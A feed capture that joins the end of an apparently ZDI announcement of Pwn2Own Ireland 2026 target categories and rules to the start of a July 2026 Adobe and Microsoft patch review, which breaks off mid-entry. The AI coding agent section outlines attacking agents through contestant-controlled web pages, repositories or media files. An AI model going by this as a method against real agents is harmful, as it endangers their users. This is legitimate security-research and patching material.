  <p class="">As you might have noticed, we have eliminated most of the consumer-related devices from this year’s event. However, there are still a few “pro-sumer” devices that still could have an impact on enterprises, and the first of these categories are the devices that control other devices and services. An attempt in this category must be launched against the target’s exposed network services, RF attack surface, or exposed features from the contestant’s laptop within the contest network.</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a59fbdac-7b9b-41d6-8af9-ff76fb5c167e/SmartHome.jpg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a59fbdac-7b9b-41d6-8af9-ff76fb5c167e/SmartHome.jpg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a59fbdac-7b9b-41d6-8af9-ff76fb5c167e/SmartHome.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a59fbdac-7b9b-41d6-8af9-ff76fb5c167e/SmartHome.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a59fbdac-7b9b-41d6-8af9-ff76fb5c167e/SmartHome.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a59fbdac-7b9b-41d6-8af9-ff76fb5c167e/SmartHome.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a59fbdac-7b9b-41d6-8af9-ff76fb5c167e/SmartHome.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a59fbdac-7b9b-41d6-8af9-ff76fb5c167e/SmartHome.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a59fbdac-7b9b-41d6-8af9-ff76fb5c167e/SmartHome.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="wellness"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">Wellness Category</b></p>




  <p class="">This is one of the new categories this year and our first foray into the world of healthcare devices. However, we don’t intend to make this too easy. Entries that require physically pressing any button on the target, or the use of any information, code or PIN printed on the device, are out of scope. Entries that require the contestant to be paired to the target prior to the start of the attempt are not in scope. An attempt in this category must be launched against the target’s exposed network services, RF attack surface, or exposed features from the contestant’s laptop within the contest network.</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9489310-7273-4a4d-8001-4086acf0a1f4/Wellness.jpg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9489310-7273-4a4d-8001-4086acf0a1f4/Wellness.jpg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9489310-7273-4a4d-8001-4086acf0a1f4/Wellness.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9489310-7273-4a4d-8001-4086acf0a1f4/Wellness.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9489310-7273-4a4d-8001-4086acf0a1f4/Wellness.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9489310-7273-4a4d-8001-4086acf0a1f4/Wellness.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9489310-7273-4a4d-8001-4086acf0a1f4/Wellness.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9489310-7273-4a4d-8001-4086acf0a1f4/Wellness.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9489310-7273-4a4d-8001-4086acf0a1f4/Wellness.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="printers"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">Rage Against the Printers </b></p>




  <p class="">Printers have long been the source of jokes and memes, but they are also an often overlooked attack surface in your office. The printer category always produces some interesting results, often by playing music it shouldn’t or the occasional Rick Roll. We’ve reduced the number of targets in this category this year, but we still expect to see some interesting exploits in these oft unheralded targets. </p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/36a174ff-094f-4501-b25d-d911b2308a61/Printers.jpg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/36a174ff-094f-4501-b25d-d911b2308a61/Printers.jpg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/36a174ff-094f-4501-b25d-d911b2308a61/Printers.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/36a174ff-094f-4501-b25d-d911b2308a61/Printers.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/36a174ff-094f-4501-b25d-d911b2308a61/Printers.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/36a174ff-094f-4501-b25d-d911b2308a61/Printers.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/36a174ff-094f-4501-b25d-d911b2308a61/Printers.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/36a174ff-094f-4501-b25d-d911b2308a61/Printers.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/36a174ff-094f-4501-b25d-d911b2308a61/Printers.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="messaging"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">The Messaging Category</b></p>




  <p class="">We introduced WhatsApp as a target last year and came close to seeing a functioning exploit. Sadly, that didn’t happen. However, WhatsApp is used by more than three billion people globally, and some of the messages transmitted can be quite sensitive. That’s why we are bringing it back and hoping for some better results. We know the bugs are out there. We’re just hoping the right researcher decides to show us an exploit that leads to code execution. All of the target handset will be available as clients. Here’s the full prize list for Messaging category:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/99bef9c6-0707-41de-a899-5965c2b856d9/Message.jpg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/99bef9c6-0707-41de-a899-5965c2b856d9/Message.jpg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/99bef9c6-0707-41de-a899-5965c2b856d9/Message.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/99bef9c6-0707-41de-a899-5965c2b856d9/Message.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/99bef9c6-0707-41de-a899-5965c2b856d9/Message.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/99bef9c6-0707-41de-a899-5965c2b856d9/Message.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/99bef9c6-0707-41de-a899-5965c2b856d9/Message.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/99bef9c6-0707-41de-a899-5965c2b856d9/Message.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/99bef9c6-0707-41de-a899-5965c2b856d9/Message.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="infrastructure"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">AI Infrastructure Category</b></p>




  <p class="">We introduced these targets at Pwn2Own Berlin, and we saw such…uh…enthusiasm from the community that we decided to immediately bring them back for our Ireland event. An attempt in this category must be launched from the contestant’s laptop. Here’s a look at the targets and awards in the AI Infrastructure category:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ecfb8f22-24a5-4c47-8a08-0471c5de356c/AI_Infrastucture.jpg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ecfb8f22-24a5-4c47-8a08-0471c5de356c/AI_Infrastucture.jpg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ecfb8f22-24a5-4c47-8a08-0471c5de356c/AI_Infrastucture.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ecfb8f22-24a5-4c47-8a08-0471c5de356c/AI_Infrastucture.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ecfb8f22-24a5-4c47-8a08-0471c5de356c/AI_Infrastucture.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ecfb8f22-24a5-4c47-8a08-0471c5de356c/AI_Infrastucture.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ecfb8f22-24a5-4c47-8a08-0471c5de356c/AI_Infrastucture.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ecfb8f22-24a5-4c47-8a08-0471c5de356c/AI_Infrastucture.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ecfb8f22-24a5-4c47-8a08-0471c5de356c/AI_Infrastucture.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="agents"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">AI Coding Agent Category</b></p>




  <p class="">Let’s face it. At some point or another, we’ve probably all vibe coded something. There’s no shame in that, but how secure are the tools we use for vibe coding? Well, let’s take the most popular choices and find out. A successful entry must interact with a contestant-controlled resource (e.g. web page, repository, media file) to exploit a vulnerability within the coding agent. The attack vector of the entry must be a common coding agent use case. There are few things out of scope here as well. UI spoofing or misrepresentation unrelated to permission prompts, model jailbreaks or prompt outputs that do not cross security boundaries, and vulnerabilities that require unsafe or permission-less modes are just a few of the things not allowed. As this is a recently updated category, please read the rules carefully to ensure your entry qualifies. Here’s a look at the targets and awards in the AI Coding Agent category:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2192242e-3b06-474e-b18b-308e8a47079a/Coding_Agents.jpg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2192242e-3b06-474e-b18b-308e8a47079a/Coding_Agents.jpg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2192242e-3b06-474e-b18b-308e8a47079a/Coding_Agents.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2192242e-3b06-474e-b18b-308e8a47079a/Coding_Agents.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2192242e-3b06-474e-b18b-308e8a47079a/Coding_Agents.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2192242e-3b06-474e-b18b-308e8a47079a/Coding_Agents.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2192242e-3b06-474e-b18b-308e8a47079a/Coding_Agents.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2192242e-3b06-474e-b18b-308e8a47079a/Coding_Agents.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2192242e-3b06-474e-b18b-308e8a47079a/Coding_Agents.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#top"><i data-preserve-html-node="true">Back to top</i></a></p>




  <p class=""><strong>Master of Pwn</strong></p><p class="">No Pwn2Own contest would be complete without crowning a Master of Pwn, which signifies the overall winner of the competition. Earning the title results in a slick <a href="https://pbs.twimg.com/media/Eyexso3WUAYbXPK?format=jpg&amp;name=4096x4096">trophy</a>, a different sort of <a href="https://twitter.com/thezdi/status/1240400682034909187">wearable</a>, and brings with it an additional 65,000 ZDI reward points (instant <a href="https://www.zerodayinitiative.com/about/benefits/">Platinum</a> status in 2027).</p><p class="">For those not familiar with how it works, points are accumulated for each successful attempt. While only the first demonstration in a category wins the full cash award, each successful entry claims the full number of Master of Pwn points. Since the order of attempts is determined by a random draw, those who receive later slots can still claim the Master of Pwn title – even if they earn a lower cash payout. As with previous contests, there are penalties for withdrawing from an attempt once you register for it. If the contestant decides to remove an Add-on Bonus during their attempt, the Master of Pwn points for that Add-on Bonus will be deducted from the final point total for that attempt. For example, someone registers for the Apple iPhone 15 with the Kernel Bonus Add-on. During the attempt, the contestant drops the Kernel Bonus Add-on but completes the attempt. The final point total will be 20 Master of Pwn points.</p><p class=""><strong>The Complete Details</strong></p><p class="">The full set of rules for Pwn2Own Ireland 2026 can be found <a href="https://www.zerodayinitiative.com/Pwn2OwnIreland2026Rules.html" target="_blank">here</a>. They may be changed at any time without notice. We <strong>highly encourage</strong> potential entrants to read the rules <em>thoroughly</em> and <em>completely</em> should they choose to participate. We also encourage contestants to read <a href="https://www.zerodayinitiative.com/blog/2022/5/3/what-to-expect-when-exploiting-a-guide-to-pwn2own-participation" target="_blank">this blog</a> covering what to expect when participating in Pwn2Own.</p><p class="">Registration is required to ensure we have sufficient resources on hand at the event. Please contact ZDI at <a href="mailto:pwn2own@trendmicro.com?subject=Pwn2Own%20Tokyo%202023%20Registration">pwn2own@trendmicro.com</a> to begin the registration process. (Email only, please; queries via social media, blog post, or other means will not be acknowledged or answered.) If we receive more than one registration for any category, we’ll hold a random drawing to determine the contest order. Registration closes at 5:00 p.m. Irish Standard Time on Oct 1st, 2025.</p><p class=""><strong>The Results</strong></p><p class="">We’ll be <a href="https://www.zerodayinitiative.com/blog" target="_blank">blogging</a> and tweeting results in real-time throughout the competition. Be sure to keep an eye on the blog for the latest information. Follow us on Twitter at <a href="https://twitter.com/thezdi" target="_blank">@thezdi</a> and <a href="https://twitter.com/trendaisecurity" target="_blank">@trendaisecurity</a>, and keep an eye on the <a href="https://twitter.com/search?q=%23p2oireland">#P2OIreland</a> hashtag for continuing coverage. </p><p class="">We look forward to seeing everyone in Cork, and we look forward to seeing what new exploits and attack techniques they bring with them.</p><p class=""> </p><p class="">©2026 Trend Micro Incorporated. All rights reserved. PWN2OWN, ZERO DAY INITIATIVE, ZDI, TrendAI, and Trend Micro are trademarks or registered trademarks of Trend Micro Incorporated. All other trademarks and trade names are the property of their respective owners.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The July 2026 Security Update Review]]></title>
<description><![CDATA[Well folks. Here we are. The bug apocalypse has fully descended upon us. I’ll do my best to sort this out in some way meaningful, but this month’s release shows us the nay-sayers were right, and I’ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly...]]></description>
<link>https://tsecurity.de/de/3694560/hacking/the-july-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694560/hacking/the-july-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:51 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">Well folks. Here we are. The bug apocalypse has fully descended upon us. I’ll do my best to sort this out in some way meaningful, but this month’s release shows us the nay-sayers were right, and I’ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:</p>





















  
  




  
















  
    
      
    
    
      
        
      
    
    
    



  






  <p class=""><strong>Adobe Patches for July 2026</strong></p><p class="">Adobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I’ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We’ll see if other vendors follow their lead.</p><p class="">For the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.</p><p class="">Here’s this month’s overview table:</p>





















  
  




  


  
    


<table>
<colgroup>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
</colgroup>
<thead>
  <tr>
    <th>Bulletin ID</th>
    <th>Product</th>
    <th>CVE Count</th>
    <th>Highest Severity</th>
    <th>Highest CVSS</th>
    <th>Exploited</th>
    <th>Deployment Priority</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/coldfusion/apsb26-82.html" target="_blank">APSB26-82</a></td>
    <td>Adobe ColdFusion</td>
    <td>13</td>
    <td>Critical</td>
    <td>9.9</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/magento/apsb26-73.html" target="_blank">APSB26-73</a></td>
    <td>Adobe Commerce</td>
    <td>13</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/after_effects/apsb26-78.html" target="_blank">APSB26-78</a></td>
    <td>Adobe After Effects</td>
    <td>3</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/animate/apsb26-83.html" target="_blank">APSB26-83</a></td>
    <td>Adobe Animate</td>
    <td>6</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/audition/apsb26-71.html" target="_blank">APSB26-71</a></td>
    <td>Adobe Audition</td>
    <td>6</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/bridge/apsb26-81.html" target="_blank">APSB26-81</a></td>
    <td>Adobe Bridge</td>
    <td>6</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/creative-cloud/apsb26-77.html" target="_blank">APSB26-77</a></td>
    <td>Adobe Creative Cloud Desktop Application</td>
    <td>2</td>
    <td>Critical</td>
    <td>8.1</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/experience-manager/apsb26-74.html" target="_blank">APSB26-74</a></td>
    <td>Adobe Experience Manager</td>
    <td>13</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/illustrator/apsb26-79.html" target="_blank">APSB26-79</a></td>
    <td>Adobe Illustrator</td>
    <td>5</td>
    <td>Critical</td>
    <td>9.3</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/media-encoder/apsb26-72.html" target="_blank">APSB26-72</a></td>
    <td>Adobe Media Encoder</td>
    <td>5</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/premiere_pro/apsb26-76.html" target="_blank">APSB26-76</a></td>
    <td>Adobe Premiere Pro</td>
    <td>4</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/content-authenticity-sdk/apsb26-80.html" target="_blank">APSB26-80</a></td>
    <td>Content Credentials SDK</td>
    <td>12</td>
    <td>Critical</td>
    <td>8.2</td>
    <td>No</td>
    <td>3</td>
  </tr>
</tbody>
<tfoot>
  <tr>
    <td>TOTAL</td>
    <td>12 bulletins</td>
    <td>88</td>
    <td></td>
    <td></td>
    <td></td>
    <td></td>
  </tr>
</tfoot>
</table>



  
  









  <p class="">While nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you’re using these products, patch them. However, you can use you regular patch cadence here. </p><p class=""><strong>Microsoft Patches for July 2026</strong></p><p class="">Here it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone’s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won’t cover here. Here’s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years’ totals.</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png" data-image-dimensions="2158x1150" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=1000w" width="2158" height="1150" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
        </figure>
      

    
  


  





  <p class="">The products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase “Windows components” does some pretty heavy lifting here, too, as just about everything you’ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.</p><p class="">So how do we eat this elephant? One byte at a time (pun intended). Let’s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56155"><strong>CVE-2026-56155</strong></a><strong> - Active Directory Federation Services Elevation of Privilege Vulnerability<br></strong>This is one of several AD FS being patched this month, but it’s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56154"><strong>CVE-2026-56164</strong></a><strong> - Microsoft SharePoint Server Elevation of Privilege Vulnerability<br></strong>The other bug being exploited in the wild this month is a modest CVSS 5.3 – but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57092"><strong>CVE-2026-57092</strong></a><strong> - Microsoft Windows VMSwitch Elevation of Privilege Vulnerability<br></strong>This patch rates the highest CVSS score for the month: a solid 9.9. It’s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn’t alone. If you’re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50522"><strong>CVE-2026-50522</strong></a><strong>/</strong><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58644"><strong>58644</strong></a><strong> - Microsoft SharePoint Remote Code Execution Vulnerability<br></strong>This matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during <a href="https://www.zerodayinitiative.com/blog/2026/5/16/pwn2own-berlin-2026-day-three-results-and-master-of-pwn">Pwn2Own Berlin</a>, so it’s odd to see Microsoft list it as “Exploit Maturity Unknown” since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. </p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56190"><strong>CVE-2026-56190</strong></a><strong> - Remote Desktop Protocol Remote Code Execution Vulnerability</strong><br> This patch covers 